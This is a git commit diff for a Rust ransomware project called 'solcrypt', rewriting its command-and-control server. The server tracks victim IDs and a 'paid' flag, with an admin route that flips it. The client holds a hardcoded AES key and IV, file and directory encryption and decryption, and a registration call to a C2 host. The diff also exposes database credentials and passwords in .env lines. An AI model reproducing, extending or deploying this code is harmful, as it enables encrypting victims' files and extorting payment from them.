feat: c2 rewrite w/ diesel
This commit is contained in:
parent
201cf7d9a6
commit
f10160ecd6
20 changed files with 1975 additions and 4714 deletions
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -1,5 +1,3 @@
|
|||
/target
|
||||
/testfiles
|
||||
/server/target
|
||||
/server/src/prisma.rs
|
||||
/server/prisma/migrations/
|
||||
|
|
1366
Cargo.lock
generated
1366
Cargo.lock
generated
File diff suppressed because it is too large
Load diff
|
@ -4,14 +4,13 @@ version = "0.2.0"
|
|||
edition = "2021"
|
||||
|
||||
[[bin]]
|
||||
name = "solcrypt_main"
|
||||
name = "encryptor"
|
||||
path = "src/encrypt.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "decryptor"
|
||||
path = "src/decrypt.rs"
|
||||
|
||||
|
||||
[dependencies]
|
||||
aes = "0.7.5"
|
||||
block-modes = "0.8.1"
|
||||
|
|
|
@ -1,2 +0,0 @@
|
|||
[alias]
|
||||
prisma = "run --bin prisma --"
|
|
@ -1,3 +1 @@
|
|||
DATABASE_URL=postgres://postgres:KILLSECUBERALLEN@192.168.1.2:1488/postgre
|
||||
PASSWORD=C2N1gh7W47ch-S0L####
|
||||
|
||||
DATABASE_URL=postgres://postgres:5XmRxM7ShLOLRXVP@192.168.1.11:30841/postgres
|
||||
|
|
4976
server/Cargo.lock
generated
4976
server/Cargo.lock
generated
File diff suppressed because it is too large
Load diff
|
@ -4,9 +4,7 @@ version = "0.1.0"
|
|||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
actix-web = "4.8.0"
|
||||
prisma-client-rust = { git = "https://github.com/Brendonovich/prisma-client-rust", tag = "0.6.11" }
|
||||
prisma-client-rust-cli = { git = "https://github.com/Brendonovich/prisma-client-rust", tag = "0.6.11" }
|
||||
serde = "1.0.203"
|
||||
tokio = "1.38.0"
|
||||
|
||||
diesel = { version = "2.2", features = [ "postgres" ] }
|
||||
dotenvy = "0.15.7"
|
||||
ntex = { version = "2.0", features = [ "tokio" ] }
|
||||
serde = "1.0.204"
|
||||
|
|
9
server/diesel.toml
Normal file
9
server/diesel.toml
Normal file
|
@ -0,0 +1,9 @@
|
|||
# For documentation on how to configure this file,
|
||||
# see https://diesel.rs/guides/configuring-diesel-cli
|
||||
|
||||
[print_schema]
|
||||
file = "src/schema.rs"
|
||||
custom_type_derives = ["diesel::query_builder::QueryId", "Clone"]
|
||||
|
||||
[migrations_directory]
|
||||
dir = "/home/xory/code/rs/solcrypt/server/migrations"
|
0
server/migrations/.keep
Normal file
0
server/migrations/.keep
Normal file
|
@ -0,0 +1,6 @@
|
|||
-- This file was automatically created by Diesel to setup helper functions
|
||||
-- and other internal bookkeeping. This file is safe to edit, any future
|
||||
-- changes will be added to existing projects as new migrations.
|
||||
|
||||
DROP FUNCTION IF EXISTS diesel_manage_updated_at(_tbl regclass);
|
||||
DROP FUNCTION IF EXISTS diesel_set_updated_at();
|
36
server/migrations/00000000000000_diesel_initial_setup/up.sql
Normal file
36
server/migrations/00000000000000_diesel_initial_setup/up.sql
Normal file
|
@ -0,0 +1,36 @@
|
|||
-- This file was automatically created by Diesel to setup helper functions
|
||||
-- and other internal bookkeeping. This file is safe to edit, any future
|
||||
-- changes will be added to existing projects as new migrations.
|
||||
|
||||
|
||||
|
||||
|
||||
-- Sets up a trigger for the given table to automatically set a column called
|
||||
-- `updated_at` whenever the row is modified (unless `updated_at` was included
|
||||
-- in the modified columns)
|
||||
--
|
||||
-- # Example
|
||||
--
|
||||
-- ```sql
|
||||
-- CREATE TABLE users (id SERIAL PRIMARY KEY, updated_at TIMESTAMP NOT NULL DEFAULT NOW());
|
||||
--
|
||||
-- SELECT diesel_manage_updated_at('users');
|
||||
-- ```
|
||||
CREATE OR REPLACE FUNCTION diesel_manage_updated_at(_tbl regclass) RETURNS VOID AS $$
|
||||
BEGIN
|
||||
EXECUTE format('CREATE TRIGGER set_updated_at BEFORE UPDATE ON %s
|
||||
FOR EACH ROW EXECUTE PROCEDURE diesel_set_updated_at()', _tbl);
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
CREATE OR REPLACE FUNCTION diesel_set_updated_at() RETURNS trigger AS $$
|
||||
BEGIN
|
||||
IF (
|
||||
NEW IS DISTINCT FROM OLD AND
|
||||
NEW.updated_at IS NOT DISTINCT FROM OLD.updated_at
|
||||
) THEN
|
||||
NEW.updated_at := current_timestamp;
|
||||
END IF;
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
2
server/migrations/2024-07-27-124950_add-clients/down.sql
Normal file
2
server/migrations/2024-07-27-124950_add-clients/down.sql
Normal file
|
@ -0,0 +1,2 @@
|
|||
-- This file should undo anything in `up.sql`
|
||||
DROP TABLE CLIENTS
|
6
server/migrations/2024-07-27-124950_add-clients/up.sql
Normal file
6
server/migrations/2024-07-27-124950_add-clients/up.sql
Normal file
|
@ -0,0 +1,6 @@
|
|||
-- Your SQL goes here
|
||||
CREATE TABLE CLIENTS (
|
||||
ID SERIAL PRIMARY KEY,
|
||||
GID INTEGER NOT NULL,
|
||||
PAID BOOLEAN NOT NULL DEFAULT FALSE
|
||||
)
|
|
@ -1,17 +0,0 @@
|
|||
datasource db {
|
||||
provider = "postgresql"
|
||||
url = env("DATABASE_URL")
|
||||
}
|
||||
|
||||
generator client {
|
||||
provider = "cargo prisma"
|
||||
output = "../src/prisma.rs"
|
||||
}
|
||||
|
||||
model Client {
|
||||
id String @id @unique
|
||||
ip String
|
||||
hostname String
|
||||
paid Boolean
|
||||
}
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
fn main() {
|
||||
prisma_client_rust_cli::run();
|
||||
}
|
14
server/src/lib.rs
Normal file
14
server/src/lib.rs
Normal file
|
@ -0,0 +1,14 @@
|
|||
pub mod models;
|
||||
pub mod schema;
|
||||
|
||||
use diesel::pg::PgConnection;
|
||||
use diesel::prelude::*;
|
||||
use dotenvy::dotenv;
|
||||
use std::env;
|
||||
|
||||
pub fn establish_connection() -> PgConnection {
|
||||
dotenv().ok();
|
||||
let database_url = env::var("DATABASE_URL").expect("DATABASE_URL not found");
|
||||
PgConnection::establish(&database_url)
|
||||
.unwrap_or_else(|_| panic!("Error connecting to DB"))
|
||||
}
|
|
@ -1,134 +1,103 @@
|
|||
use actix_web::{dev::ServiceRequest, get, http::header, post, web, App, HttpResponse, HttpServer, Responder};
|
||||
use prisma_client_rust::PrismaClient;
|
||||
use serde::Deserialize;
|
||||
use tokio::fs::File;
|
||||
use tokio::io::AsyncReadExt;
|
||||
#[allow(unused, dead_code)]
|
||||
mod prisma;
|
||||
pub mod models;
|
||||
pub mod schema;
|
||||
|
||||
use ntex::web::{ App,
|
||||
HttpServer,
|
||||
HttpResponse,
|
||||
Responder,
|
||||
get,
|
||||
post };
|
||||
use ntex::web;
|
||||
use diesel::prelude::*;
|
||||
use server::establish_connection;
|
||||
use serde::{ Serialize,
|
||||
Deserialize };
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct ClientPaymentStatusRequest {
|
||||
pub pw: String,
|
||||
pub target_gid: i32,
|
||||
pub set_paid: bool
|
||||
}
|
||||
|
||||
#[get("/")]
|
||||
async fn index() -> impl Responder {
|
||||
"HAAAAIIII :33"
|
||||
pub async fn hello() -> impl Responder {
|
||||
HttpResponse::Ok().body("hai")
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct ClientRegisterRequest {
|
||||
ip: String,
|
||||
hostname: String
|
||||
#[post("/clients/{id}/register")]
|
||||
pub async fn register_client(path: web::types::Path<i32>) -> impl Responder {
|
||||
use self::models::NewClient;
|
||||
use crate::schema::clients;
|
||||
|
||||
let connection = &mut establish_connection();
|
||||
let new_client = NewClient { gid: *path };
|
||||
|
||||
diesel::insert_into(clients::table)
|
||||
.values(&new_client)
|
||||
.returning(self::models::Client::as_returning())
|
||||
.get_result(connection)
|
||||
.expect("Error registering client");
|
||||
|
||||
HttpResponse::Ok().body("OK")
|
||||
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct SetClientPaidRequest { password: String }
|
||||
|
||||
#[post("/client/register/{id}")]
|
||||
async fn register_client(path: web::Path<u32>, info: web::Json<ClientRegisterRequest>) -> impl Responder {
|
||||
let db_client = match prisma::PrismaClient::_builder().build().await {
|
||||
Ok(client) => client,
|
||||
Err(err) => {
|
||||
eprintln!("Error building Prisma Client: {:?}", err);
|
||||
return HttpResponse::InternalServerError().body("Internal Server Error");
|
||||
}
|
||||
};
|
||||
#[get("/client/{id}/status")]
|
||||
pub async fn check_client_status(path: web::types::Path<i32>) -> impl Responder {
|
||||
use self::schema::clients::dsl::*;
|
||||
use self::models::*;
|
||||
|
||||
let client = match db_client.client().create(
|
||||
format!("client_{}", path),
|
||||
info.ip.to_string(),
|
||||
info.hostname.to_string(),
|
||||
false,
|
||||
vec![]
|
||||
).exec().await {
|
||||
Ok(client) => client,
|
||||
Err(err) => {
|
||||
eprintln!("Error building Prisma Client: {:?}", err);
|
||||
return HttpResponse::InternalServerError().body("Internal Server Error");
|
||||
}
|
||||
};
|
||||
HttpResponse::Ok().json(client)
|
||||
}
|
||||
|
||||
#[get("/client/{id}/ispaid")]
|
||||
async fn get_client_payment(path: web::Path<u32>) -> impl Responder {
|
||||
let db_client = match prisma::PrismaClient::_builder().build().await {
|
||||
Ok(client) => client,
|
||||
Err(err) => {
|
||||
eprintln!("Error building Prisma Client: {:?}", err);
|
||||
return HttpResponse::InternalServerError().body("Internal Server Error");
|
||||
}
|
||||
};
|
||||
|
||||
let client = match db_client.client()
|
||||
.find_unique(prisma::client::id::equals(path.to_string()))
|
||||
.exec()
|
||||
.await
|
||||
.unwrap() {
|
||||
Some(client) => client,
|
||||
None => {
|
||||
eprintln!("Couldn't find client");
|
||||
let req_gid: i32 = path.clone();
|
||||
let connection = &mut establish_connection();
|
||||
let results: Vec<Client> = match clients
|
||||
.filter(gid.eq(req_gid))
|
||||
.limit(1)
|
||||
.load(connection) {
|
||||
Ok(vec) => vec,
|
||||
Err(..) => {
|
||||
return HttpResponse::NotFound().body("Not Found");
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
HttpResponse::Ok().body(client.paid.to_string())
|
||||
}
|
||||
|
||||
#[post("/client/{id}/setpaid")]
|
||||
pub async fn set_client_paid(path: web::Path<String>, info: web::Json<SetClientPaidRequest>) -> impl Responder {
|
||||
|
||||
let mut dotenv = File::open(".env").await.unwrap();
|
||||
let mut dotenv_contents = String::new();
|
||||
match dotenv.read_to_string(&mut dotenv_contents).await {
|
||||
Ok(result) => result,
|
||||
Err(err) => {
|
||||
eprintln!("Encountered error: {:?}", err);
|
||||
return HttpResponse::InternalServerError().body("Internal Server Error");
|
||||
},
|
||||
};
|
||||
|
||||
let password = dotenv_contents
|
||||
.lines()
|
||||
.filter(|line| line.starts_with("PASSWORD="))
|
||||
.next()
|
||||
.unwrap()
|
||||
.split("=")
|
||||
.last()
|
||||
.unwrap(); // don't shout at me for the unwraps, your goddamn fault if you fucked the .env
|
||||
// file
|
||||
let ispaid = results[0].paid;
|
||||
|
||||
if path.to_string() != password { return HttpResponse::Forbidden().body("Forbidden") }
|
||||
|
||||
let db_client = match prisma::PrismaClient::_builder().build().await {
|
||||
Ok(client) => client,
|
||||
Err(err) => {
|
||||
eprintln!("Error creating Prisma Client: {:?}", err);
|
||||
return HttpResponse::InternalServerError().body("Internal Server Error");
|
||||
},
|
||||
};
|
||||
|
||||
let mut client = match db_client
|
||||
.client()
|
||||
.find_first(vec![prisma::client::id::equals(path.to_string())])
|
||||
.exec()
|
||||
.await
|
||||
.unwrap() {
|
||||
Some(client) => client,
|
||||
None => {
|
||||
eprintln!("Couldn't find client!");
|
||||
return HttpResponse::NotFound().body("Not Found");
|
||||
},
|
||||
};
|
||||
|
||||
client.paid = true;
|
||||
|
||||
HttpResponse::Ok().body("Ok")
|
||||
HttpResponse::Ok().body(format!("Paid: {}", ispaid))
|
||||
}
|
||||
|
||||
#[actix_web::main]
|
||||
pub async fn main() -> std::io::Result<()> {
|
||||
#[post("/admin/client/setstatus")]
|
||||
pub async fn set_client_status(body: ntex::web::types::Json<ClientPaymentStatusRequest>) -> impl Responder {
|
||||
use crate::schema::clients::dsl::clients;
|
||||
use crate::schema::clients::{gid, paid};
|
||||
use crate::models::Client;
|
||||
|
||||
let pw = "ToBeReplacedByBuildScript";
|
||||
if body.pw == pw {
|
||||
let connection = &mut establish_connection();
|
||||
let results = diesel::update(&clients.filter(gid.eq(body.target_gid))
|
||||
.first::<Client>(connection)
|
||||
.expect("Client not found"))
|
||||
.set(paid.eq(body.set_paid))
|
||||
.get_result::<Client>(connection)
|
||||
.expect("Could not update Client");
|
||||
|
||||
return HttpResponse::Ok().json(&results);
|
||||
} else {
|
||||
return HttpResponse::Unauthorized().body("Invalid Password")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#[ntex::main]
|
||||
async fn main() -> std::io::Result<()> {
|
||||
HttpServer::new(|| {
|
||||
App::new()
|
||||
.service(hello)
|
||||
.service(register_client)
|
||||
.service(check_client_status)
|
||||
.service(set_client_status)
|
||||
})
|
||||
.bind("127.0.0.1:8080")?
|
||||
.bind(("127.0.0.1", 8080))?
|
||||
.run()
|
||||
.await
|
||||
}
|
||||
|
||||
|
|
17
server/src/models.rs
Normal file
17
server/src/models.rs
Normal file
|
@ -0,0 +1,17 @@
|
|||
use diesel::prelude::*;
|
||||
use serde::Serialize;
|
||||
|
||||
#[derive(Queryable, Selectable, diesel::Identifiable, Serialize)]
|
||||
#[diesel(table_name = crate::schema::clients)]
|
||||
#[diesel(check_for_backend(diesel::pg::Pg))]
|
||||
pub struct Client {
|
||||
pub id: i32,
|
||||
pub gid: i32,
|
||||
pub paid: bool
|
||||
}
|
||||
|
||||
#[derive(Insertable)]
|
||||
#[diesel(table_name = crate::schema::clients)]
|
||||
pub struct NewClient {
|
||||
pub gid: i32
|
||||
}
|
9
server/src/schema.rs
Normal file
9
server/src/schema.rs
Normal file
|
@ -0,0 +1,9 @@
|
|||
// @generated automatically by Diesel CLI.
|
||||
|
||||
diesel::table! {
|
||||
clients (id) {
|
||||
id -> Int4,
|
||||
gid -> Int4,
|
||||
paid -> Bool,
|
||||
}
|
||||
}
|
|
@ -13,7 +13,7 @@ use std::fs;
|
|||
use std::io::{Read, Write};
|
||||
use std::error::Error;
|
||||
use std::str::{self, FromStr};
|
||||
use reqwest::blocking::Request;
|
||||
use reqwest::blocking::{Client, Request};
|
||||
|
||||
|
||||
type Aes256Cbc = Cbc<Aes256, Pkcs7>;
|
||||
|
@ -21,6 +21,7 @@ type Aes256Cbc = Cbc<Aes256, Pkcs7>;
|
|||
const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
|
||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
|
||||
const C2ADDR: &str = "c2serveraddr";
|
||||
const GID: i32 = 4444;
|
||||
|
||||
|
||||
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
||||
|
@ -99,7 +100,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
|
|||
}
|
||||
|
||||
pub fn register() -> Result<(), Box<dyn Error>> {
|
||||
let c2_register_url = format!("http://{C2ADDR}/client/register");
|
||||
let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?);
|
||||
let client = Client::new();
|
||||
let url = format!("https://{C2ADDR}/client/{GID}/register");
|
||||
client.post(url).send()?;
|
||||
Ok(())
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue